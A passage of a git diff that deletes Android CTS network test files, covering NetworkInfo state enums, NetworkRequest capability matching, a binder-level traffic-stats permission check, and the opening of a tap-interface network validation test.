-        networkInfo.setDetailedState(DetailedState.CONNECTED, reason, extraReason)
-        assertEquals(DetailedState.CONNECTED, networkInfo.detailedState)
-        assertEquals(State.CONNECTED, networkInfo.state)
-        assertEquals(reason, networkInfo.reason)
-        assertEquals(extraReason, networkInfo.extraInfo)
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/NetworkInfo_DetailedStateTest.java b/tests/tests/net/src/android/net/cts/NetworkInfo_DetailedStateTest.java
deleted file mode 100644
index 590ce89..0000000
--- a/tests/tests/net/src/android/net/cts/NetworkInfo_DetailedStateTest.java
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-
-import android.net.NetworkInfo.DetailedState;
-import android.test.AndroidTestCase;
-
-public class NetworkInfo_DetailedStateTest extends AndroidTestCase {
-
-    public void testValueOf() {
-        assertEquals(DetailedState.AUTHENTICATING, DetailedState.valueOf("AUTHENTICATING"));
-        assertEquals(DetailedState.CONNECTED, DetailedState.valueOf("CONNECTED"));
-        assertEquals(DetailedState.CONNECTING, DetailedState.valueOf("CONNECTING"));
-        assertEquals(DetailedState.DISCONNECTED, DetailedState.valueOf("DISCONNECTED"));
-        assertEquals(DetailedState.DISCONNECTING, DetailedState.valueOf("DISCONNECTING"));
-        assertEquals(DetailedState.FAILED, DetailedState.valueOf("FAILED"));
-        assertEquals(DetailedState.IDLE, DetailedState.valueOf("IDLE"));
-        assertEquals(DetailedState.OBTAINING_IPADDR, DetailedState.valueOf("OBTAINING_IPADDR"));
-        assertEquals(DetailedState.SCANNING, DetailedState.valueOf("SCANNING"));
-        assertEquals(DetailedState.SUSPENDED, DetailedState.valueOf("SUSPENDED"));
-    }
-
-    public void testValues() {
-        DetailedState[] expected = DetailedState.values();
-        assertEquals(13, expected.length);
-        assertEquals(DetailedState.IDLE, expected[0]);
-        assertEquals(DetailedState.SCANNING, expected[1]);
-        assertEquals(DetailedState.CONNECTING, expected[2]);
-        assertEquals(DetailedState.AUTHENTICATING, expected[3]);
-        assertEquals(DetailedState.OBTAINING_IPADDR, expected[4]);
-        assertEquals(DetailedState.CONNECTED, expected[5]);
-        assertEquals(DetailedState.SUSPENDED, expected[6]);
-        assertEquals(DetailedState.DISCONNECTING, expected[7]);
-        assertEquals(DetailedState.DISCONNECTED, expected[8]);
-        assertEquals(DetailedState.FAILED, expected[9]);
-        assertEquals(DetailedState.BLOCKED, expected[10]);
-        assertEquals(DetailedState.VERIFYING_POOR_LINK, expected[11]);
-        assertEquals(DetailedState.CAPTIVE_PORTAL_CHECK, expected[12]);
-    }
-
-}
diff --git a/tests/tests/net/src/android/net/cts/NetworkInfo_StateTest.java b/tests/tests/net/src/android/net/cts/NetworkInfo_StateTest.java
deleted file mode 100644
index 5303ef1..0000000
--- a/tests/tests/net/src/android/net/cts/NetworkInfo_StateTest.java
+++ /dev/null
@@ -1,43 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import android.net.NetworkInfo.State;
-import android.test.AndroidTestCase;
-
-public class NetworkInfo_StateTest extends AndroidTestCase {
-
-    public void testValueOf() {
-        assertEquals(State.CONNECTED, State.valueOf("CONNECTED"));
-        assertEquals(State.CONNECTING, State.valueOf("CONNECTING"));
-        assertEquals(State.DISCONNECTED, State.valueOf("DISCONNECTED"));
-        assertEquals(State.DISCONNECTING, State.valueOf("DISCONNECTING"));
-        assertEquals(State.SUSPENDED, State.valueOf("SUSPENDED"));
-        assertEquals(State.UNKNOWN, State.valueOf("UNKNOWN"));
-    }
-
-    public void testValues() {
-        State[] expected = State.values();
-        assertEquals(6, expected.length);
-        assertEquals(State.CONNECTING, expected[0]);
-        assertEquals(State.CONNECTED, expected[1]);
-        assertEquals(State.SUSPENDED, expected[2]);
-        assertEquals(State.DISCONNECTING, expected[3]);
-        assertEquals(State.DISCONNECTED, expected[4]);
-        assertEquals(State.UNKNOWN, expected[5]);
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/NetworkRequestTest.java b/tests/tests/net/src/android/net/cts/NetworkRequestTest.java
deleted file mode 100644
index d118c8a..0000000
--- a/tests/tests/net/src/android/net/cts/NetworkRequestTest.java
+++ /dev/null
@@ -1,276 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
-import static android.net.NetworkCapabilities.NET_CAPABILITY_MMS;
-import static android.net.NetworkCapabilities.NET_CAPABILITY_TEMPORARILY_NOT_METERED;
-import static android.net.NetworkCapabilities.TRANSPORT_BLUETOOTH;
-import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
-import static android.net.NetworkCapabilities.TRANSPORT_VPN;
-import static android.net.NetworkCapabilities.TRANSPORT_WIFI;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-
-import android.net.MacAddress;
-import android.net.MatchAllNetworkSpecifier;
-import android.net.NetworkCapabilities;
-import android.net.NetworkRequest;
-import android.net.NetworkSpecifier;
-import android.net.UidRange;
-import android.net.wifi.WifiNetworkSpecifier;
-import android.os.Build;
-import android.os.PatternMatcher;
-import android.os.Process;
-import android.util.ArraySet;
-
-import androidx.test.runner.AndroidJUnit4;
-
-import com.android.testutils.DevSdkIgnoreRule;
-import com.android.testutils.DevSdkIgnoreRule.IgnoreUpTo;
-
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-public class NetworkRequestTest {
-    @Rule
-    public final DevSdkIgnoreRule ignoreRule = new DevSdkIgnoreRule();
-
-    private static final String TEST_SSID = "TestSSID";
-    private static final String OTHER_SSID = "OtherSSID";
-    private static final int TEST_UID = 2097;
-    private static final String TEST_PACKAGE_NAME = "test.package.name";
-    private static final MacAddress ARBITRARY_ADDRESS = MacAddress.fromString("3:5:8:12:9:2");
-
-    private class LocalNetworkSpecifier extends NetworkSpecifier {
-        private final int mId;
-
-        LocalNetworkSpecifier(int id) {
-            mId = id;
-        }
-
-        @Override
-        public boolean canBeSatisfiedBy(NetworkSpecifier other) {
-            return other instanceof LocalNetworkSpecifier
-                && mId == ((LocalNetworkSpecifier) other).mId;
-        }
-    }
-
-    @Test
-    public void testCapabilities() {
-        assertTrue(new NetworkRequest.Builder().addCapability(NET_CAPABILITY_MMS).build()
-                .hasCapability(NET_CAPABILITY_MMS));
-        assertFalse(new NetworkRequest.Builder().removeCapability(NET_CAPABILITY_MMS).build()
-                .hasCapability(NET_CAPABILITY_MMS));
-
-        final NetworkRequest nr = new NetworkRequest.Builder().clearCapabilities().build();
-        // Verify request has no capabilities
-        verifyNoCapabilities(nr);
-    }
-
-    @Test @IgnoreUpTo(Build.VERSION_CODES.Q)
-    public void testTemporarilyNotMeteredCapability() {
-        assertTrue(new NetworkRequest.Builder()
-                .addCapability(NET_CAPABILITY_TEMPORARILY_NOT_METERED).build()
-                .hasCapability(NET_CAPABILITY_TEMPORARILY_NOT_METERED));
-        assertFalse(new NetworkRequest.Builder()
-                .removeCapability(NET_CAPABILITY_TEMPORARILY_NOT_METERED).build()
-                .hasCapability(NET_CAPABILITY_TEMPORARILY_NOT_METERED));
-    }
-
-    private void verifyNoCapabilities(NetworkRequest nr) {
-        // NetworkCapabilities.mNetworkCapabilities is defined as type long
-        final int MAX_POSSIBLE_CAPABILITY = Long.SIZE;
-        for(int bit = 0; bit < MAX_POSSIBLE_CAPABILITY; bit++) {
-            assertFalse(nr.hasCapability(bit));
-        }
-    }
-
-    @Test
-    public void testTransports() {
-        assertTrue(new NetworkRequest.Builder().addTransportType(TRANSPORT_BLUETOOTH).build()
-                .hasTransport(TRANSPORT_BLUETOOTH));
-        assertFalse(new NetworkRequest.Builder().removeTransportType(TRANSPORT_BLUETOOTH).build()
-                .hasTransport(TRANSPORT_BLUETOOTH));
-    }
-
-    @Test
-    @IgnoreUpTo(Build.VERSION_CODES.Q)
-    public void testSpecifier() {
-        assertNull(new NetworkRequest.Builder().build().getNetworkSpecifier());
-        final WifiNetworkSpecifier specifier = new WifiNetworkSpecifier.Builder()
-                .setSsidPattern(new PatternMatcher(TEST_SSID, PatternMatcher.PATTERN_LITERAL))
-                .setBssidPattern(ARBITRARY_ADDRESS, ARBITRARY_ADDRESS)
-                .build();
-        final NetworkSpecifier obtainedSpecifier = new NetworkRequest.Builder()
-                .addTransportType(TRANSPORT_WIFI)
-                .setNetworkSpecifier(specifier)
-                .build()
-                .getNetworkSpecifier();
-        assertEquals(obtainedSpecifier, specifier);
-
-        assertNull(new NetworkRequest.Builder()
-                .clearCapabilities()
-                .build()
-                .getNetworkSpecifier());
-    }
-
-    @Test
-    @IgnoreUpTo(Build.VERSION_CODES.Q)
-    public void testRequestorPackageName() {
-        assertNull(new NetworkRequest.Builder().build().getRequestorPackageName());
-        final String pkgName = "android.net.test";
-        final NetworkCapabilities nc = new NetworkCapabilities.Builder()
-                .setRequestorPackageName(pkgName)
-                .build();
-        final NetworkRequest nr = new NetworkRequest.Builder()
-                .setCapabilities(nc)
-                .build();
-        assertEquals(pkgName, nr.getRequestorPackageName());
-        assertNull(new NetworkRequest.Builder()
-                .clearCapabilities()
-                .build()
-                .getRequestorPackageName());
-    }
-
-    @Test
-    @IgnoreUpTo(Build.VERSION_CODES.Q)
-    public void testCanBeSatisfiedBy() {
-        final LocalNetworkSpecifier specifier1 = new LocalNetworkSpecifier(1234 /* id */);
-        final LocalNetworkSpecifier specifier2 = new LocalNetworkSpecifier(5678 /* id */);
-
-        final NetworkCapabilities capCellularMmsInternet = new NetworkCapabilities()
-                .addTransportType(TRANSPORT_CELLULAR)
-                .addCapability(NET_CAPABILITY_MMS)
-                .addCapability(NET_CAPABILITY_INTERNET);
-        final NetworkCapabilities capCellularVpnMmsInternet =
-                new NetworkCapabilities(capCellularMmsInternet).addTransportType(TRANSPORT_VPN);
-        final NetworkCapabilities capCellularMmsInternetSpecifier1 =
-                new NetworkCapabilities(capCellularMmsInternet).setNetworkSpecifier(specifier1);
-        final NetworkCapabilities capVpnInternetSpecifier1 = new NetworkCapabilities()
-                .addCapability(NET_CAPABILITY_INTERNET)
-                .addTransportType(TRANSPORT_VPN)
-                .setNetworkSpecifier(specifier1);
-        final NetworkCapabilities capCellularMmsInternetMatchallspecifier =
-                new NetworkCapabilities(capCellularMmsInternet)
-                    .setNetworkSpecifier(new MatchAllNetworkSpecifier());
-        final NetworkCapabilities capCellularMmsInternetSpecifier2 =
-                new NetworkCapabilities(capCellularMmsInternet).setNetworkSpecifier(specifier2);
-
-        final NetworkRequest requestCellularInternetSpecifier1 = new NetworkRequest.Builder()
-                .addTransportType(TRANSPORT_CELLULAR)
-                .addCapability(NET_CAPABILITY_INTERNET)
-                .setNetworkSpecifier(specifier1)
-                .build();
-        assertFalse(requestCellularInternetSpecifier1.canBeSatisfiedBy(null));
-        assertFalse(requestCellularInternetSpecifier1.canBeSatisfiedBy(new NetworkCapabilities()));
-        assertTrue(requestCellularInternetSpecifier1.canBeSatisfiedBy(
-                capCellularMmsInternetMatchallspecifier));
-        assertFalse(requestCellularInternetSpecifier1.canBeSatisfiedBy(capCellularMmsInternet));
-        assertTrue(requestCellularInternetSpecifier1.canBeSatisfiedBy(
-                capCellularMmsInternetSpecifier1));
-        assertFalse(requestCellularInternetSpecifier1.canBeSatisfiedBy(capCellularVpnMmsInternet));
-        assertFalse(requestCellularInternetSpecifier1.canBeSatisfiedBy(
-                capCellularMmsInternetSpecifier2));
-
-        final NetworkRequest requestCellularInternet = new NetworkRequest.Builder()
-                .addTransportType(TRANSPORT_CELLULAR)
-                .addCapability(NET_CAPABILITY_INTERNET)
-                .build();
-        assertTrue(requestCellularInternet.canBeSatisfiedBy(capCellularMmsInternet));
-        assertTrue(requestCellularInternet.canBeSatisfiedBy(capCellularMmsInternetSpecifier1));
-        assertTrue(requestCellularInternet.canBeSatisfiedBy(capCellularMmsInternetSpecifier2));
-        assertFalse(requestCellularInternet.canBeSatisfiedBy(capVpnInternetSpecifier1));
-        assertTrue(requestCellularInternet.canBeSatisfiedBy(capCellularVpnMmsInternet));
-    }
-
-    @Test
-    @IgnoreUpTo(Build.VERSION_CODES.Q)
-    public void testInvariantInCanBeSatisfiedBy() {
-        // Test invariant that result of NetworkRequest.canBeSatisfiedBy() should be the same with
-        // NetworkCapabilities.satisfiedByNetworkCapabilities().
-        final LocalNetworkSpecifier specifier1 = new LocalNetworkSpecifier(1234 /* id */);
-        final int uid = Process.myUid();
-        final ArraySet<UidRange> ranges = new ArraySet<>();
-        ranges.add(new UidRange(uid, uid));
-        final NetworkRequest requestCombination = new NetworkRequest.Builder()
-                .addTransportType(TRANSPORT_CELLULAR)
-                .addCapability(NET_CAPABILITY_INTERNET)
-                .setLinkUpstreamBandwidthKbps(1000)
-                .setNetworkSpecifier(specifier1)
-                .setSignalStrength(-123)
-                .setUids(ranges).build();
-        final NetworkCapabilities capCell = new NetworkCapabilities.Builder()
-                .addTransportType(TRANSPORT_CELLULAR).build();
-        assertCorrectlySatisfies(false, requestCombination, capCell);
-
-        final NetworkCapabilities capCellInternet = new NetworkCapabilities.Builder(capCell)
-                .addCapability(NET_CAPABILITY_INTERNET).build();
-        assertCorrectlySatisfies(false, requestCombination, capCellInternet);
-
-        final NetworkCapabilities capCellInternetBW =
-                new NetworkCapabilities.Builder(capCellInternet)
-                    .setLinkUpstreamBandwidthKbps(1024).build();
-        assertCorrectlySatisfies(false, requestCombination, capCellInternetBW);
-
-        final NetworkCapabilities capCellInternetBWSpecifier1 =
-                new NetworkCapabilities.Builder(capCellInternetBW)
-                    .setNetworkSpecifier(specifier1).build();
-        assertCorrectlySatisfies(false, requestCombination, capCellInternetBWSpecifier1);
-
-        final NetworkCapabilities capCellInternetBWSpecifier1Signal =
-                new NetworkCapabilities.Builder(capCellInternetBWSpecifier1)
-                    .setSignalStrength(-123).build();
-        assertCorrectlySatisfies(true, requestCombination,
-                capCellInternetBWSpecifier1Signal);
-
-        final NetworkCapabilities capCellInternetBWSpecifier1SignalUid =
-                new NetworkCapabilities.Builder(capCellInternetBWSpecifier1Signal)
-                    .setOwnerUid(uid)
-                    .setAdministratorUids(new int [] {uid}).build();
-        assertCorrectlySatisfies(true, requestCombination,
-                capCellInternetBWSpecifier1SignalUid);
-    }
-
-    private void assertCorrectlySatisfies(boolean expect, NetworkRequest request,
-            NetworkCapabilities nc) {
-        assertEquals(expect, request.canBeSatisfiedBy(nc));
-        assertEquals(
-                request.canBeSatisfiedBy(nc),
-                request.networkCapabilities.satisfiedByNetworkCapabilities(nc));
-    }
-
-    @Test @IgnoreUpTo(Build.VERSION_CODES.Q)
-    public void testRequestorUid() {
-        final NetworkCapabilities nc = new NetworkCapabilities();
-        // Verify default value is INVALID_UID
-        assertEquals(Process.INVALID_UID, new NetworkRequest.Builder()
-                 .setCapabilities(nc).build().getRequestorUid());
-
-        nc.setRequestorUid(1314);
-        final NetworkRequest nr = new NetworkRequest.Builder().setCapabilities(nc).build();
-        assertEquals(1314, nr.getRequestorUid());
-
-        assertEquals(Process.INVALID_UID, new NetworkRequest.Builder()
-                .clearCapabilities().build().getRequestorUid());
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/NetworkStackDependenciesTest.kt b/tests/tests/net/src/android/net/cts/NetworkStackDependenciesTest.kt
deleted file mode 100644
index 1a7f955..0000000
--- a/tests/tests/net/src/android/net/cts/NetworkStackDependenciesTest.kt
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts
-
-import android.content.pm.PackageManager
-import android.net.cts.util.CtsNetUtils
-import android.net.wifi.WifiManager
-import android.os.Build
-import androidx.test.filters.SdkSuppress
-import androidx.test.platform.app.InstrumentationRegistry
-import org.junit.Assume.assumeTrue
-import org.junit.Test
-import kotlin.test.assertNotNull
-import kotlin.test.assertTrue
-
-/**
- * Basic tests for APIs used by the network stack module.
- */
-class NetworkStackDependenciesTest {
-    @Test
-    @SdkSuppress(maxSdkVersion = Build.VERSION_CODES.Q)
-    fun testGetFrequency() {
-        // WifiInfo#getFrequency was missing a CTS test in Q: this test is run as part of MTS on Q
-        // devices to ensure it behaves correctly.
-        val context = InstrumentationRegistry.getInstrumentation().getContext()
-        assumeTrue("This test only applies to devices that support wifi",
-                context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WIFI))
-        val wifiManager = context.getSystemService(WifiManager::class.java)
-        assertNotNull(wifiManager, "Device supports wifi but there is no WifiManager")
-
-        CtsNetUtils(context).ensureWifiConnected()
-        val wifiInfo = wifiManager.getConnectionInfo()
-        // The NetworkStack can handle any value of getFrequency; unknown frequencies will not be
-        // classified in metrics, but this is expected behavior. It is only important that the
-        // method does not crash. Still verify that the frequency is positive
-        val frequency = wifiInfo.getFrequency()
-        assertTrue(frequency > 0, "Frequency must be > 0")
-    }
-}
\ No newline at end of file
diff --git a/tests/tests/net/src/android/net/cts/NetworkStatsBinderTest.java b/tests/tests/net/src/android/net/cts/NetworkStatsBinderTest.java
deleted file mode 100644
index 1a48983..0000000
--- a/tests/tests/net/src/android/net/cts/NetworkStatsBinderTest.java
+++ /dev/null
@@ -1,146 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import static android.os.Process.INVALID_UID;
-
-import static org.junit.Assert.assertEquals;
-
-import android.annotation.NonNull;
-import android.content.Context;
-import android.content.pm.PackageInfo;
-import android.content.pm.PackageManager;
-import android.net.INetworkStatsService;
-import android.net.TrafficStats;
-import android.os.Build;
-import android.os.IBinder;
-import android.os.Process;
-import android.os.RemoteException;
-import android.test.AndroidTestCase;
-import android.util.SparseArray;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import com.android.internal.util.CollectionUtils;
-import com.android.testutils.DevSdkIgnoreRule;
-
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.lang.reflect.InvocationTargetException;
-import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.function.Function;
-import java.util.function.Predicate;
-
-@RunWith(AndroidJUnit4.class)
-public class NetworkStatsBinderTest {
-    // NOTE: These are shamelessly copied from TrafficStats.
-    private static final int TYPE_RX_BYTES = 0;
-    private static final int TYPE_RX_PACKETS = 1;
-    private static final int TYPE_TX_BYTES = 2;
-    private static final int TYPE_TX_PACKETS = 3;
-
-    @Rule
-    public DevSdkIgnoreRule mIgnoreRule = new DevSdkIgnoreRule(
-            Build.VERSION_CODES.Q /* ignoreClassUpTo */);
-
-    private final SparseArray<Function<Integer, Long>> mUidStatsQueryOpArray = new SparseArray<>();
-
-    @Before
-    public void setUp() throws Exception {
-        mUidStatsQueryOpArray.put(TYPE_RX_BYTES, uid -> TrafficStats.getUidRxBytes(uid));
-        mUidStatsQueryOpArray.put(TYPE_RX_PACKETS, uid -> TrafficStats.getUidRxPackets(uid));
-        mUidStatsQueryOpArray.put(TYPE_TX_BYTES, uid -> TrafficStats.getUidTxBytes(uid));
-        mUidStatsQueryOpArray.put(TYPE_TX_PACKETS, uid -> TrafficStats.getUidTxPackets(uid));
-    }
-
-    private long getUidStatsFromBinder(int uid, int type) throws Exception {
-        Method getServiceMethod = Class.forName("android.os.ServiceManager")
-                .getDeclaredMethod("getService", new Class[]{String.class});
-        IBinder binder = (IBinder) getServiceMethod.invoke(null, Context.NETWORK_STATS_SERVICE);
-        INetworkStatsService nss = INetworkStatsService.Stub.asInterface(binder);
-        return nss.getUidStats(uid, type);
-    }
-
-    private int getFirstAppUidThat(@NonNull Predicate<Integer> predicate) {
-        PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
-        List<PackageInfo> apps = pm.getInstalledPackages(0 /* flags */);
-        final PackageInfo match = CollectionUtils.find(apps,
-                it -> it.applicationInfo != null && predicate.test(it.applicationInfo.uid));
-        if (match != null) return match.applicationInfo.uid;
-        return INVALID_UID;
-    }
-
-    @Test
-    public void testAccessUidStatsFromBinder() throws Exception {
-        final int myUid = Process.myUid();
-        final List<Integer> testUidList = new ArrayList<>();
-
-        // Prepare uid list for testing.
-        testUidList.add(INVALID_UID);
-        testUidList.add(Process.ROOT_UID);
-        testUidList.add(Process.SYSTEM_UID);
-        testUidList.add(myUid);
-        testUidList.add(Process.LAST_APPLICATION_UID);
-        testUidList.add(Process.LAST_APPLICATION_UID + 1);
-        // If available, pick another existing uid for testing that is not already contained
-        // in the list above.
-        final int notMyUid = getFirstAppUidThat(uid -> uid >= 0 && !testUidList.contains(uid));
-        if (notMyUid != INVALID_UID) testUidList.add(notMyUid);
-
-        for (final int uid : testUidList) {
-            for (int i = 0; i < mUidStatsQueryOpArray.size(); i++) {
-                final int type = mUidStatsQueryOpArray.keyAt(i);
-                try {
-                    final long uidStatsFromBinder = getUidStatsFromBinder(uid, type);
-                    final long uidTrafficStats = mUidStatsQueryOpArray.get(type).apply(uid);
-
-                    // Verify that UNSUPPORTED is returned if the uid is not current app uid.
-                    if (uid != myUid) {
-                        assertEquals(uidStatsFromBinder, TrafficStats.UNSUPPORTED);
-                    }
-                    // Verify that returned result is the same with the result get from
-                    // TrafficStats.
-                    // TODO: If the test is flaky then it should instead assert that the values
-                    //  are approximately similar.
-                    assertEquals("uidStats is not matched for query type " + type
-                                    + ", uid=" + uid + ", myUid=" + myUid, uidTrafficStats,
-                            uidStatsFromBinder);
-                } catch (IllegalAccessException e) {
-                    /* Java language access prevents exploitation. */
-                    return;
-                } catch (InvocationTargetException e) {
-                    /* Underlying method has been changed. */
-                    return;
-                } catch (ClassNotFoundException e) {
-                    /* not vulnerable if hidden API no longer available */
-                    return;
-                } catch (NoSuchMethodException e) {
-                    /* not vulnerable if hidden API no longer available */
-                    return;
-                } catch (RemoteException e) {
-                    return;
-                }
-            }
-        }
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/NetworkValidationTest.kt b/tests/tests/net/src/android/net/cts/NetworkValidationTest.kt
deleted file mode 100644
index 5290f0d..0000000
--- a/tests/tests/net/src/android/net/cts/NetworkValidationTest.kt
+++ /dev/null
@@ -1,245 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts
-
-import android.Manifest.permission.MANAGE_TEST_NETWORKS
-import android.Manifest.permission.NETWORK_SETTINGS
-import android.content.Context
-import android.content.pm.PackageManager
-import android.net.ConnectivityManager
-import android.net.EthernetManager
-import android.net.InetAddresses
-import android.net.NetworkCapabilities.NET_CAPABILITY_CAPTIVE_PORTAL
-import android.net.NetworkCapabilities.NET_CAPABILITY_TRUSTED
-import android.net.NetworkCapabilities.TRANSPORT_ETHERNET
-import android.net.NetworkCapabilities.TRANSPORT_TEST
-import android.net.NetworkRequest
-import android.net.TestNetworkInterface
-import android.net.TestNetworkManager
-import android.net.Uri
-import android.net.dhcp.DhcpDiscoverPacket
-import android.net.dhcp.DhcpPacket
-import android.net.dhcp.DhcpPacket.DHCP_MESSAGE_TYPE
-import android.net.dhcp.DhcpPacket.DHCP_MESSAGE_TYPE_DISCOVER
-import android.net.dhcp.DhcpPacket.DHCP_MESSAGE_TYPE_REQUEST
-import android.net.dhcp.DhcpRequestPacket
-import android.os.Build
-import android.os.HandlerThread
-import android.platform.test.annotations.AppModeFull
-import androidx.test.platform.app.InstrumentationRegistry
-import androidx.test.runner.AndroidJUnit4
-import com.android.net.module.util.Inet4AddressUtils.getBroadcastAddress
-import com.android.net.module.util.Inet4AddressUtils.getPrefixMaskAsInet4Address
-import com.android.net.module.util.NetworkStackConstants.IPV4_ADDR_ANY
-import com.android.testutils.DevSdkIgnoreRule
-import com.android.testutils.DhcpClientPacketFilter
-import com.android.testutils.DhcpOptionFilter
-import com.android.testutils.RecorderCallback.CallbackEntry
-import com.android.testutils.TapPacketReader
-import com.android.testutils.TestHttpServer
-import com.android.testutils.TestableNetworkCallback
-import com.android.testutils.runAsShell
-import fi.iki.elonen.NanoHTTPD.Response.Status
-import org.junit.After
-import org.junit.Assume.assumeFalse
-import org.junit.Before
-import org.junit.Rule
-import org.junit.Test
-import org.junit.runner.RunWith
-import java.net.Inet4Address
-import kotlin.test.assertEquals
-import kotlin.test.assertNotNull
-import kotlin.test.assertTrue
-import kotlin.test.fail
-
-private const val MAX_PACKET_LENGTH = 1500
-private const val TEST_TIMEOUT_MS = 10_000L
-
-private const val TEST_LEASE_TIMEOUT_SECS = 3600 * 12
-private const val TEST_PREFIX_LENGTH = 24
-
-private const val TEST_LOGIN_URL = "https://login.capport.android.com"
-private const val TEST_VENUE_INFO_URL = "https://venueinfo.capport.android.com"
-private const val TEST_DOMAIN_NAME = "lan"
-private const val TEST_MTU = 1500.toShort()
-
-@AppModeFull(reason = "Instant apps cannot create test networks")
-@RunWith(AndroidJUnit4::class)
-class NetworkValidationTest {
-    @JvmField
-    @Rule
-    val ignoreRule = DevSdkIgnoreRule(ignoreClassUpTo = Build.VERSION_CODES.Q)
-
-    private val context by lazy { InstrumentationRegistry.getInstrumentation().context }
-    private val tnm by lazy { context.assertHasService(TestNetworkManager::class.java) }
-    private val eth by lazy { context.assertHasService(EthernetManager::class.java) }
-    private val cm by lazy { context.assertHasService(ConnectivityManager::class.java) }
-
-    private val handlerThread = HandlerThread(NetworkValidationTest::class.java.simpleName)
-    private val serverIpAddr = InetAddresses.parseNumericAddress("192.0.2.222") as Inet4Address
-    private val clientIpAddr = InetAddresses.parseNumericAddress("192.0.2.111") as Inet4Address
-    private val httpServer = TestHttpServer()
-    private val ethRequest = NetworkRequest.Builder()
-            // ETHERNET|TEST transport networks do not have NET_CAPABILITY_TRUSTED
-            .removeCapability(NET_CAPABILITY_TRUSTED)
-            .addTransportType(TRANSPORT_ETHERNET)
-            .addTransportType(TRANSPORT_TEST).build()
-    private val ethRequestCb = TestableNetworkCallback()
-
-    private lateinit var iface: TestNetworkInterface
-    private lateinit var reader: TapPacketReader
-    private lateinit var capportUrl: Uri
-
-    private var testSkipped = false
-
-    @Before
-    fun setUp() {
-        // This test requires using a tap interface as an ethernet interface.
-        val pm = context.getPackageManager()
-        testSkipped = !pm.hasSystemFeature(PackageManager.FEATURE_ETHERNET) &&
-                context.getSystemService(EthernetManager::class.java) == null
-        assumeFalse(testSkipped)
-
-        // Register a request so the network does not get torn down
-        cm.requestNetwork(ethRequest, ethRequestCb)
-        runAsShell(NETWORK_SETTINGS, MANAGE_TEST_NETWORKS) {
-            eth.setIncludeTestInterfaces(true)
-            // Keeping a reference to the test interface also makes sure the ParcelFileDescriptor
-            // does not go out of scope, which would cause it to close the underlying FileDescriptor
-            // in its finalizer.
-            iface = tnm.createTapInterface()
-        }
-
-        handlerThread.start()
-        reader = TapPacketReader(
-                handlerThread.threadHandler,
-                iface.fileDescriptor.fileDescriptor,
-                MAX_PACKET_LENGTH)
-        reader.startAsyncForTest()
-        httpServer.start()
-
-        // Pad the listening port to make sure it is always of length 5. This ensures the URL has
-        // always the same length so the test can use constant IP and UDP header lengths.
-        // The maximum port number is 65535 so a length of 5 is always enough.
